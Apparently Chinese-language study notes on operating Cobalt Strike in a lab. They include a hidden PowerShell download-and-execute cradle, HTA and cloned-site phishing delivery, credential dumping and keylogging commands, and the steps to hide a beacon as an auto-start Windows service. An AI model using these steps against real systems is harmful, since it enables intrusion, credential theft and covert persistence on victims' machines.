CS初始化
將CS的安裝包解壓到kali上,CS是通過Java寫的,具有跨平台性,但是需要通過teamserver的啟動器去啟動,而不能直接jar啟動
啟動CS
# 進入文件后,修改權限
chmod 777 ./*
# 添加服務端的IP和密碼,多人協作則是公網IP,端口默認在50050
./teamserver 192.168.223.131 123456
# 啟動CS,需要保持teamserver一直啟動
./cobaltstrike
基本Beacon操作
簡單的進行滲透
1.新建Listeners
Cobalt Strike--->Listeners--->Add--->填入Name、Host、設置Payload類型--->save
2.payload設置
Attack--->Web Drive-by--->Scripted Web Delivery(s)--->選擇Listener,類型和是否是64位的payload,獲取payload
3.payload生效
選擇powershell和64位,打開目標機,在其cmd或者powershell上輸入payload
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.223.131:80/a'))"
一些選項
external-->外網IP
internal-->內網IP
listener-->監聽者
user-->用戶
computer-->計算機名
process-->執行程序的名字
pid-->執行程序的pid
與beacon(肉雞)進行互動,系統命令前需要加shell,默認回連60s(心跳時間)
右鍵--->interact--->shell whoami
CS模塊介紹
Cobalt Strike
New Connection-->打開新的connect窗口(新建一個連接)
Preferences-->首選項
Visualization-->將主機以不同形式展示(權限執行結果)
VPN Interfaces-->設置VPN接口(多重滲透)
Listeners-->創建監聽器
Script Manager-->查看自己寫的腳本並加載
View
applicationss-->被控電腦的應用信息
Credentials-->通過hash dump或者mimikatz獲取的密碼的保存位置
Downloads-->從被控電腦下載的文件保存位置
Event Log-->主機的上線記錄
Keystrokes-->鍵盤記錄
ProxyPivots-->代理模塊
Screenshots-->截圖
Script Console-->執行自己的腳本的控制台
Targets-->顯示目標
Web Log-->顯示web日志
Attack
Packages
HTML Application-->基於HTML應用的攻擊載荷
MS Office Macro-->Office宏攻擊
Payload Generator-->payload生成器,可以生成源碼自己執行或修改
Windows Executable-->生成Windows上的32/64位exe或dll的后門程序
Windows Executable(S)-->生成Windows的可執行文件,包含完整的payload,不需要階段性請求,多用於內網環境下設置,支持power shell腳本和代理
Web Drive-by
Manage-->管理器,對上線肉雞進行管理
Clone Site-->克隆指定網站的樣式
Host File-->將指定文件夾加載到web
Scripted Web Delivery(S)-->Web攻擊模塊
Signed Applet Attack-->釣魚程序
Smart Applet Attack-->Java跨平台瀏覽器的攻擊,可禁用Java的安全沙盒
System Profiler-->客戶端檢測工具
Spear Phish-->釣魚模塊
Reporting
配合Cobalt Strike生成的報告
Help
工具欄
1.新建連接
2.斷開當前連接
3.監聽器
4.改變視圖為Pivot Graph(視圖列表)
5.改變視圖為Session Table(會話列表)
6.改變視圖為Target Table(目標列表)
7.顯示所有以獲取的受害主機的憑證
8.查看已下載文件
9.查看鍵盤記錄結果
10.查看屏幕截圖
11.生成無狀態的可執行exe木馬
12.使用java自簽名的程序進行釣魚攻擊
13.生成office宏病毒文件
14.為payload提供web服務以便下載和執行
15.提供文件下載,可以選擇Mime類型
16.管理Cobalt Strike上運行的web服務
17.幫助
18.關於
beacon功能
生成EXE程序,讓目標執行即可
Attacks-->Packages-->Windwos Executable(S)
用戶執行后,右鍵的選項為后滲透模塊
# Interact--->打開互動界面(cmd),通過help可以查看beacon支持的命令
execute notepad--->后台運行記事本
powerpick mkdir 123--->不通過powershell執行命令
powershell-import ./xxx.ps1--->將powershell加載到內存,然后使用powershell加載執行powershell腳本
# Access
Dump Hashes--->獲取密碼的hash值
Elevate--->提權
Make Token--->模擬指定用戶操作,制作令牌
Run Mimikatz--->使用獼猴桃獲取密碼(因系統而異)
# Explore
Brower Pivot--->劫持IE瀏覽器,在目標主機開代理,利用本機瀏覽器劫持目標Cookie實現免密登陸
Desktop(VNC)--->開啟VNC窗口
File Browser--->顯示文件層次
Net View-->查看內網中主機的共享域
Port Scan--->掃描端口
Process List--->查看當前進程信息,並進行操作(結束、刷新、鍵盤記錄、注入進程……)
Screenshot--->截圖
# Pivoting
SOCKS Server--->建立Socks代理(可以在View-->Proxy Pivots中查看),使用Tunnel中的命令可以在使用msf時將流量從此代理引入
Listener--->設置內網監聽
# Spawn--->模塊派發shell,在知道賬號密碼情況下可以將此shell派發給其他攻擊者
# Session
Note--->添加備注
Remove--->從列表中移除(一般是Exit后Remove)
Sleep--->設置心跳時間
Exit--->目標離線
Interact中beacon的全部支持的命令
Command Description
------- -----------
browserpivot 注入受害者瀏覽器進程
bypassuac 繞過UAC
cancel 取消正在進行的下載
cd 切換目錄
checkin 強制讓被控端回連一次
clear 清除beacon內部的任務隊列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客戶端
cp 復制文件
dcsync 從DC中提取密碼哈希
desktop 遠程VNC
dllinject 反射DLL注入進程
dllload 使用LoadLibrary將DLL加載到進程中
download 下載文件
downloads 列出正在進行的文件下載
drives 列出目標盤符
elevate 嘗試提權
execute 在目標上執行程序(無輸出)
execute-assembly 在目標上內存中執行本地.NET程序
exit 退出beacon
**getprivs 獲取當前beacon中包含的所有權限,相當於shell whoami /priv**
**getsystem 嘗試獲取SYSTEM權限**
**getuid 獲取當前用戶是什么權限**
hashdump 轉儲密碼哈希值
help 幫助
inject 在特定進程中生成會話
jobkill 殺死一個后台任務
jobs 列出后台任務
kerberos_ccache_use 從ccache文件中導入票據應用於此會話
kerberos_ticket_purge 清除當前會話的票據
kerberos_ticket_use 從ticket文件中導入票據應用於此會話
keylogger 鍵盤記錄
kill 結束進程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz轉儲憑據和哈希值
ls 列出文件
make_token 創建令牌以傳遞憑據
mimikatz 運行mimikatz
mkdir 創建一個目錄
mode dns 使用DNS A作為通信通道(僅限DNS beacon)
mode dns-txt 使用DNS TXT作為通信通道(僅限D beacon)
mode dns6 使用DNS AAAA作為通信通道(僅限DNS beacon)
mode http 使用HTTP作為通信通道
mv 移動文件
net net命令
note 備注
portscan 進行端口掃描
powerpick 通過Unmanaged PowerShell執行命令
powershell 通過powershell.exe執行命令
powershell-import 導入powershell腳本
ppid Set parent PID forspawned post-ex jobs
ps 顯示進程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定進程中執行PowerShell命令
pth 使用Mimikatz進行傳遞哈希
pwd 當前目錄位置
reg Query the registry
rev2self 恢復原始令牌
rm 刪除文件或文件夾
rportfwd 端口轉發
run 在目標上執行程序(返回輸出)
runas 以另一個用戶權限執行程序
runasadmin 在高權限下執行程序
runu Execute a program underanother PID
screenshot 屏幕截圖
setenv 設置環境變量
shell cmd執行命令
shinject 將shellcode注入進程
shspawn 生成進程並將shellcode注入其中
**sleep 設置睡眠延遲時間**
socks 啟動SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh連接遠程主機
ssh-key 使用密鑰連接遠程主機
steal_token 從進程中竊取令牌
timestomp 將一個文件時間戳應用到另一個文件
unlink Disconnect from parentBeacon
upload 上傳文件
wdigest 使用mimikatz轉儲明文憑據
winrm 使用WinRM在主機上生成會話
wmi 使用WMI在主機上生成會話
argue 進程參數欺騙
有關域的net命令
net localgroup-->添加、顯示或更改本地組
net computer-->從域數據庫中添加或刪除計算機
net dclist-->查看域控
net domain_trusts-->查看域信任
net logons-->當前正在登陸的用戶
net share-->查看共享
Windows權限:guest<user<administrator<system<TrustedInstaller
aggresor腳本
.cna
結尾,Aggressor Script,Sleep語言編寫,通過sleep語言可以對Cobalt Strike進行二次開發
Sleep是一個可以嵌入到Java應用程序的腳本語言。Sleep簡單,易學,易使用,易與程序結合。它的語言語法類似於Perl腳本。Sleep腳本可訪問,創建,查詢Java對象,解析過的腳本可被序列化
數據定義
# 解釋器在 View-->Script Console中
$ = 定義變量
@ = 定義數組
% = 字典
e-->定義
x-->輸出
load-->加載文件(CS中只能加載一次,在jar中可多次執行,通過它來執行程序查看結果)
reload-->重加載,加載的是已加載的cna文件,不帶路徑
ls-->查看加載的文件
# 下載sleep.jar並運行
java -jar sleep.jar
# 聲明數組
@array = @('a1','a2',666);
println(@array[1]);
# 遍歷
array = @('a1','a2',666);
foreach $var (@array){
println($var);
}
# 字典全輸出
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("%dict is ".%dict);
//dict is %(key1 => 'value1', key2 => 'value2', 1 => 'value3')
# 字典輸出某一個值
$x = 1;
%dict["key1"] = "value1";
%dict["key2"] = "value2";
%dict[$x] = "value3";
println("dict is ".%dict);
//dict is value2
交互式函數
# 輸出內容
println("haha nihao");
# 加載快速指令,command后面為快捷鍵
command w{
println("You click w");
}
//reload后,按下w,將輸出You click w
# 定義函數和快捷鍵,按下f1同時跟上一個參數會加載fun1函數並帶上參數
sub fun1{
println("run fun1!!!now $1");
}
command f1{
fun1($1);
}
//f1 xiaoming--->run fun1!!!now xiaoming
c2客戶端
在此編寫的內容將直接影響Cobalt Strike界面和快捷鍵
# 綁定鍵盤快捷鍵
bind Ctrl+O{
show_message("This is a alert");
elog("I am log");
}
//按下Ctrl+O將會出現This is a alert,同時在Event Log里面出現I am log
# 編寫最上面的菜單
popup menu1{
item("&item1",{url_open("http://www.baidu.com")});
separator();
item("&item2",{url_open("http://www.cctv.com")});
}
menubar("My menu","menu1");
//在Cobalt Strike上面創建一個名為My menu的菜單,其中有兩個按鈕item1和item2,分別打開baidu和cctv,menubar是接收菜單的函數,item是其中的按鈕
# 在beacon中創建菜單
popup beacon_bottom{
menu "attack"{
item("&item1",{url_open("http://www.baidu.com")});
item("&item2",{show_message("yes")})
}
}
//在右鍵的beacon中出現attack選項,有item1和item2兩個按鈕,分別打開百度和彈窗yes
可以上Github下載大佬的cna代碼,load進去即可;或者下載后學習如何編寫
c2中所有的數據模型
target 存儲的目標信息 顯示上線過的主機信息
archives 顯示最近的信息 顯示最近的輸出信息
beacons 顯示所有的受感染的主機信息 顯示在線和上線過的主機
credentials 顯示憑據信息 我們抓取過的密碼信息和制作的票據信息
downloads 顯示下載信息 顯示我們在受控端下載的信息
keystrokes 記錄鍵盤輸入 當我們選擇進程記錄鍵盤的時候,會將得到的鍵盤信息記錄下來
screenshots 屏幕截圖顯示 顯示我們截圖的二進制信息流
sites 托管的資產 看起來是我們創建的監聽的端口個Stager回連的端口
通過協同aggressor的結果寫程序
# 顯示目標的數據,其數據是@(%())的形式,即外面數組,包着字典
x targets()
# 單獨索引想要的數據
x targets()[0]['name']
# 打印所有的監聽器
printAll(listeners());
# 顯示被感染主機更詳細信息(掛馬的信息)
x beacons()
# 通過showme快捷鍵查看第一個主機的IP和OS
command showme{
println("IP address is: ".targets()[$1]["address"]."\n OS is: ".targets()[$1]["os"]);
}
HTML Application和clonesite
HTML Application
# 生成hta文件
Packages-->HTML Application,生成evil.hta,可以在網頁上加載它
# 生成地址
Attacks-->Web Drive-by-->Host File,將Local URI也改成evil.hta
http://192.168.223.131:80/download/evil.hta
# 讓目標訪問此頁面,會彈出文件操作,可以對其進行靜默操作后台打開,可以上線
clonesite
# 克隆網站,如果在內網可以配合ARP,出現偽造網頁
Attack-->Web Drive-by-->Clone Site,填入克隆網站為http://www.baidu.com,保存地址為bd,Attack選擇evil,然后可以根據需要選擇是否需要鍵盤記錄
http://192.168.223.131:80/bd
# 目標點開假百度后彈出下載文件,后續同上
服務權限維持
控制對方后,文件保存在內存中,無法刪除且重啟消失,遲早被發現,要做持久化
1.生成exe文件
Attacks—>Packages—>Windows Executable(S)—>設置監聽,Windows Service EXE,Use x64 payload
2.上傳文件
在Beacon界面進入 C:\windows\temp
目錄,上次木馬 upload /root/beacon.exe
3.服務關聯
shell sc create "thisserver" binpath=c:\windows\temp\beacon.exe
前面是服務名后面是服務主程序路徑
4.服務偽裝
shell description "thisserver" "zhe shi fu wu"
前面是服務名后面是服務描述
5.設置服務自啟動
shell sc config "thisserver" start=auto
6.服務啟動
shell net start "thisserver"
多層連接
多層正向連接
黑客在外網的IP在內網中由於沒有路由,無法進入內部服務器,需要通過外網的服務器作為中介找到內網服務器
hack(192.168.1.186)——(192.168.1.231)server1(172.16.214.140)——(172.16.214.141)server2
1.設置監聽器
在原有控制的監聽器基礎上——Add——Beacon TCP,取名server1
2.在server1的監聽上生成木馬文件
Attacks—>Packages—>Windows Executable(S)——>選擇server1監聽,Windows Service EXE,Use x64 payload,生成木馬
3.正向連接
讓內網目標執行,使用server1作為中間人正向連接
connect 172.16.214.141
多層反向連接
反向連接規避防火牆,防火牆會進行追殺
1.設置監聽器
對中間人右鍵—>Pivoting—>Listener,取名server1,中間人的server1可以作為黑客的轉發器
2.生成木馬文件
Attacks—>Packages—>Windows Executable(S)—>選擇server1監聽,Windows Service EXE,Use x64 payload,生成木馬
3.發送到目標主機即可反向連接